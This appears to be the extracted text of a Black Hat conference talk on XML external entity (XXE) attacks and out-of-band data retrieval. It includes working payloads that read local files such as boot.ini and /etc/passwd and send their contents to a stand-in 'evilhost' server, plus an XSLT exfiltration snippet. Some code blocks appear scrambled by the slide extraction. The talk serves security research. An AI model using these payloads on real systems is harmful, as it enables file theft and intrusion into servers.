![Error based output
• Schema validation In Xerces
parser error : Invalid URI: :[file]
I/O warning : failed to load external entity"[file]“
parser error : DOCTYPE improperly terminated
Warning: *** [file] in *** on line 11
<!DOCTYPE html[
<!ENTITY % foo SYSTEM "file:///c:/boot.ini">
%foo;]>](https://image.slidesharecdn.com/bhreadyv4-130314135722-phpapp01/85/Black-Hat-XML-Out-Of-Band-Data-Retrieval-11-320.jpg)
![Parameter entities
resolve/validation algorithm
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html [
<!ENTITY % internal SYSTEM "local_file.xml">
%internal;]> "Hello, World!"> ]>
<!ENTITY title
<html>&title;</html>
local_file.xml:
<!ENTITY title "Hello, World!">](https://image.slidesharecdn.com/bhreadyv4-130314135722-phpapp01/85/Black-Hat-XML-Out-Of-Band-Data-Retrieval-13-320.jpg)
![System entities restrictions
bypass within attributes
Well-formed constraint:
– No External Entity References
• So, this is not possible, right?
<!DOCTYPE root[
<ENTITY internal SYSTEM "file:///etc/passwd">
]>
<root attrib="&internal;“/>](https://image.slidesharecdn.com/bhreadyv4-130314135722-phpapp01/85/Black-Hat-XML-Out-Of-Band-Data-Retrieval-16-320.jpg)
![System entities restrictions
bypass within attributes
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://evilhost/evil.xml">
%remote;
<!ENTITY internal '[boot loader] timeout ***'>
%param1; ]>
<root attrib="&internal;" /> Evil.xml
<!ENTITY % payload SYSTEM "file:///c:/boot.ini">
<!ENTITY % param1 "<!ENTITY internal '%payload;'>">](https://image.slidesharecdn.com/bhreadyv4-130314135722-phpapp01/85/Black-Hat-XML-Out-Of-Band-Data-Retrieval-17-320.jpg)
![XXE OOB
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root SYSTEM
<!DOCTYPE root [
“http://evilhost/xml.xml”>
<!ENTITY % remote SYSTEM "http://evilhost/evil.xml">
<root>
&trick;
%remote;
</root>
<!ENTITY % trick SYSTEM 'http://evil/?%5Bboot%20'>
%int;
%trick;]> Evil.xml
<!ENTITY % payl SYSTEM "file:///c:/boot.ini">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://evil/?%payl;'>">](https://image.slidesharecdn.com/bhreadyv4-130314135722-phpapp01/85/Black-Hat-XML-Out-Of-Band-Data-Retrieval-24-320.jpg)
Black Hat: XML Out-Of-Band Data Retrieval
- 1. XML Out-Of-Band Data Retrieval Timur Yunusov Alexey Osipov
- 2. Who we are • Timur Yunusov: – Web Application Security Researcher – International forum on practical security «Positive Hack Days» developer • Alexey Osipov: – Attack prevention mechanisms Researcher – Security tools and Proof of Concepts developer • SCADA StrangeLove team members
- 3. Agenda • XML Overview • XML eXternal Entities • Entities in attributes • Out-Of-Band attack – DTD – XSLT • Summary • Demos • Questions
- 4. XML OVERVIEW
- 5. XML overview • Very popular protocol lately – Serialization – SOA-architecture (REST, SOAP, OAuth) – Human-readable (at least intended to be) • Many parsers/many options controlling behavior (over 9000) • Many xml-extensions like XSLT, SOAP, XML schema
- 6. XML overview • Many opportunities lead to many vulnerabilities: – Adobe (@agarri_fr, spasibo) – PostgreSQL (@d0znpp), PHP, Java • Many hackers techniques
- 8. XML entities • Entities: – Predefined & < % – General <!ENTITY general “hello”> – Parameter <!ENTITY % param “hello”> • General and parameter entities may be: – Internal (defined in current DTD) – External (defined in external resource)
- 9. XXE impact • Local file reading • Intranet access • Host-scan/Port-scan • Remote Code Execution (not so often) • Denial of Service
- 10. XXE techniques • XML data output (basic) • Error-based XXE – DTD (invalid/values type definition) – Schema validation • Blind techniques – XSD values bruteforce (@d0znpp)
- 11. Error based output • Schema validation In Xerces parser error : Invalid URI: :[file] I/O warning : failed to load external entity"[file]“ parser error : DOCTYPE improperly terminated Warning: *** [file] in *** on line 11 <!DOCTYPE html[ <!ENTITY % foo SYSTEM "file:///c:/boot.ini"> %foo;]>
- 12. XML constraints • XML validity/well-formedness – WFC: No External Entity References … in attributes – WFC: No < in Attribute Values – WFC: PEs in Internal Subset
- 13. Parameter entities resolve/validation algorithm <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE html [ <!ENTITY % internal SYSTEM "local_file.xml"> %internal;]> "Hello, World!"> ]> <!ENTITY title <html>&title;</html> local_file.xml: <!ENTITY title "Hello, World!">
- 14. XXE attacks restrictions • XML parser reads only valid xml documents – No binary =( (http://www.w3.org/TR/REC-xml/#CharClasses) – Malformed first string (no encoding attribute) (Some parsers) – But we have wrappers! • Resulting document should also be valid – No external entities in attributes
- 16. System entities restrictions bypass within attributes Well-formed constraint: – No External Entity References • So, this is not possible, right? <!DOCTYPE root[ <ENTITY internal SYSTEM "file:///etc/passwd"> ]> <root attrib="&internal;“/>
- 17. System entities restrictions bypass within attributes <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://evilhost/evil.xml"> %remote; <!ENTITY internal '[boot loader] timeout ***'> %param1; ]> <root attrib="&internal;" /> Evil.xml <!ENTITY % payload SYSTEM "file:///c:/boot.ini"> <!ENTITY % param1 "<!ENTITY internal '%payload;'>">
- 18. Pattern validation <xs:restriction base="xs:string"> <xs:pattern value="&test;" /> </xs:restriction>
- 19. DEMO
- 21. XXE attacks restrictions Server-side in general (except Adobe XXE SOP bypass)
- 22. XXE OOB
- 23. XXE OOB What other OOB communication techniques are present? DNS exfiltration via SQL Injection (@stamparm) UTL_HTTP.REQUEST xp_fileexist Dblink LOAD_FILE
- 24. XXE OOB <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root SYSTEM <!DOCTYPE root [ “http://evilhost/xml.xml”> <!ENTITY % remote SYSTEM "http://evilhost/evil.xml"> <root> &trick; %remote; </root> <!ENTITY % trick SYSTEM 'http://evil/?%5Bboot%20'> %int; %trick;]> Evil.xml <!ENTITY % payl SYSTEM "file:///c:/boot.ini"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://evil/?%payl;'>">
- 25. XXE OOB DTD Parsing, SYSTEM reading XML Attacker Server PROFIT!
- 26. Parsing restrictions • Beside restrictions of all entities there are also new ones • “PEReferences forbidden in internal subset” (c) XML Specification – So we should be able to read some external resource (local or remote) – Wrappers
- 27. Parsing restrictions • Quotes are blocking definition of entities – One should try single/double quotes when defining entity <!ENTITY % int "<!ENTITY % trick ‘*file content’+’>" • Space/new line/other whitespace symbols should not appear in URI – Wrappers again =) – Or not even needed
- 28. Vectors • Depending on parser features – lack of DTD validation in main document doesn’t mean lack of validation everywhere. Some possible clues: – External DTD or Internal DTD subset from external data – Parameter entities only – XSD Schema – XSLT template
- 29. Vectors • <!DOCTYPE root SYSTEM “…”> • <!ENTITY external PUBLIC “some_text” “…”> • <tag xsi:schemaLocation=“…”/> • <tag xsi:noNamespaceSchemaLocation=“…”/> • <xs:include schemaLocation=“…”> • <xs:import schemaLocation=“…”> • <?xml-stylesheet href=“…”?>
- 30. XSLT OOB • Controlling XSLT transformation template we can access some data from sensitive host: <xsl:variable name="payload" select="document('http://sensitive_host/',/)"/> <xsl:variable name="combine" select="concat('http://evilhost/', $payload)"/> <xsl:variable name="result" select="document($combine)" />
- 31. XSLT OOB • Depending on available features we can: – Get non-xml data using “unparsed-text” function – Enumerate services/hosts with “*-available” functions – With substring() we can craft such DNS hostname, that will let us obtain some sensitive data via malicious DNS request to our server
- 32. DEMO
- 33. Vectors WAT R U XML DOIN? XML STAHP!
- 34. SUMMARY
- 35. XXE OOB Profit • Server-side – Send file content over DNS/HTTP/HTTPs/Smb? – Without error/data output • Client-side products – Nobody has ever tried to hack oneself ;) – Lots of products…
- 36. Parsers diff – MS with System.XML • Pros: – URL-encodes query string for OOB technique – Saves all line feeds in attributes • Cons: – Can’t read XML files without encoding declaration (we can still read Web.config .NET) – No wrappers (except system-wide)
- 37. Parsers diff – Java Xerces • Pros: – Can read directories! – Sends NTLM auth data – Different wrappers • Cons: – Converts line feeds to spaces when inserting in attribute – Can’t read multiline files with OOB technique
- 38. Parsers diff – libxml (PHP) • Pros – Wrappers! (expect://, data://) (http://www.slideshare.net/phdays/on-secure- application-of-php-wrappers) – Most liberal parsing ??? • Cons – Can’t read big files by default (>8Kb)
- 39. Parsers diff MS System.XML Java Xerces Libxml (PHP) External entity in Line feeds are attribute value + converted to spaces + OOB read multiline + – + OOB Option is often read big files + + enabled Directory listing – + – Validating schema location – + –
- 40. DEMO
- 41. Tools XXE OOB Exploitation Toolset for Automation • DNS knocking • Vectors set • HTTP Server
- 42. Tools Metasploit module (special thnx2 @vegoshin) • Vector set and HTTP server provided to you in your MSF ;-)
- 43. DEMO
- 44. Conclusions • General ruination? ;-) • Toolset • New ideas for new vectors and applications
- 45. Special greetz • Arseniy Reutov • Ilya Karpov • Mihail Firstov • Sergey Pavlov • Vyacheslav Egoshin